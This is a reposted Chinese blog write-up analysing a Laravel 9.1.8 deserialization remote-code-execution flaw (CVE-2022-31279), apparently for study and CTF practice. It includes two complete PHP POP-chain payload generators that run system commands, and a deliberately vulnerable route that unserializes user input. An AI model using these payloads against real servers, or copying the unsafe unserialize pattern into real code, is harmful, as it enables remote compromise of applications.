iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >Laravel 9.1.8 反序列化漏洞分析及复现
  • 562
分享到

Laravel 9.1.8 反序列化漏洞分析及复现

laravel安全web安全 2023-10-09 12:10:49 562人浏览 泡泡鱼
摘要

反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。 漏洞详情 Laravel是一套简洁、优雅的PHP web开发框架。

反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。

漏洞详情

Laravel是一套简洁、优雅的PHP web开发框架
近日,Laravel 被披露存在多个安全漏洞,可允许通过反序列化POP链实现远程代码执行,如下:

CVE-2022-31279:Laravel远程代码执行漏洞
Laravel 9.1.8在处理反序列化数据时,允许通过 IlluminateBroadcastingPendingBroadcast.php中的 __destructFakerGenerator.php中的 __call中的反序列化POP链实现远程代码执行。

漏洞分析

根据漏洞信息的描述, 跟进src/Illuminate/Broadcasting/PendingBroadcast.php中的__destruct方法, 可以看到这里的$this->events$this->event均为可控的, 寻找可用的dispatch方法:
1
2
跟进src/Illuminate/Bus/Dispatcher.php中的dispatch方法, 这里的$command$this->queueResolver均是可控的:
3
跟进dispatchToQueue方法, $command$this->queueResolver均是可控的, 可以利用该方法中的call_user_func方法来进行命令执行的利用:
4
接下来就是命令执行的语句, 注意到上图中的代码$connection = $command->connection ?? null;, 这里可以通过src/Illuminate/Broadcasting/BroadcastEvent.php中的类中变量来控制$connection, 从而达到命令执行的目的。

POP Chain

namespace Illuminate\Contracts\Queue{    interface ShouldQueue {}}namespace Illuminate\Bus{    class Dispatcher{        protected $container;        protected $pipeline;        protected $pipes = [];        protected $handlers = [];        protected $queueResolver;        function __construct()        {            $this->queueResolver = "system";        }    }}namespace Illuminate\Broadcasting{    use Illuminate\Contracts\Queue\ShouldQueue;    class BroadcastEvent implements ShouldQueue {        function __construct() {}    }    class PendingBroadcast{        protected $events;        protected $event;        function __construct() {            $this->event = new BroadcastEvent();            $this->event->connection = "calc";            $this->events = new \Illuminate\Bus\Dispatcher();        }    }}namespace {    $pop = new \Illuminate\Broadcasting\PendingBroadcast();    echo base64_encode(serialize($pop));}

漏洞复现

我们从laravel官网下载了Laravel 9.1.8源码之后,添加一个入口,修改routes\WEB.php如下:

use Illuminate\Support\Facades\Route;Route::get('/', function (\Illuminate\Http\Request $request) {    $vuln = base64_decode($request->input("vuln"));    unserialize($ser);    return "H3rmesk1t";});

添加了入口之后,通过上面的分析和得到的POP链,即可进行复现:
5

相同漏洞的复现

本次复现,源码来源于cj师傅之前出题所用的源码和2022NepCTF的题目:

下载源码后,是Laravel框架:
6
7

hello路由是一个反序列化点
可以用POP链:

namespace Illuminate\Contracts\Queue{  interface ShouldQueue {}}namespace Illuminate\Bus{  class Dispatcher{    protected $container;    protected $pipeline;    protected $pipes = [];    protected $handlers = [];    protected $queueResolver;    function __construct()    {        $this->queueResolver = "system";    }  }}namespace Illuminate\Broadcasting{  use Illuminate\Contracts\Queue\ShouldQueue;  class BroadcastEvent implements ShouldQueue {    function __construct() {}  }  class PendingBroadcast{    protected $events;    protected $event;    function __construct() {        $this->event = new BroadcastEvent();        $this->event->connection = "cat /flag";        $this->events = new \Illuminate\Bus\Dispatcher();    }  }}namespace {  $pop = new \Illuminate\Broadcasting\PendingBroadcast();  echo base64_encode(serialize($pop));}

可以得到结果:

8
9
因此复现成功!

来源地址:https://blog.csdn.net/qq_54502707/article/details/128269292

--结束END--

本文标题: Laravel 9.1.8 反序列化漏洞分析及复现

本文链接: https://www.lsjlt.com/news/426291.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作